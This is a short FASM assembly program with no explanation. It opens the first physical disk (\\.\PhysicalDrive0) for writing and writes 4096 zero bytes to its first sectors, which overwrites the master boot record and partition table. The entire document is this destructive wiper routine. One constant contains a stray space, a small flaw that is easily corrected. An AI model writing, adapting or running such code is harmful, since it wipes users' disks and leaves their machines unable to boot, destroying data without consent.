x dd 0
b dd 0
e dd 0
drive db '\\.\PhysicalDrive0',0

entry $
invoke CreateFile,drive,GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ,0,OPEN_EXISTING,FILE _ATTRIBUTE_NORMAL,0
test eax,eax
je exit
mov [x],eax
invoke VirtualAlloc,0,1000h,MEM_COMMIT,PAGE_READWRITE
mov [b],eax
invoke WriteFile,[x],eax,1000h,e,0
invoke VirtualFree,[b],1000h,MEM_DECOMMIT
invoke CloseHandle,[x]
exit:
ret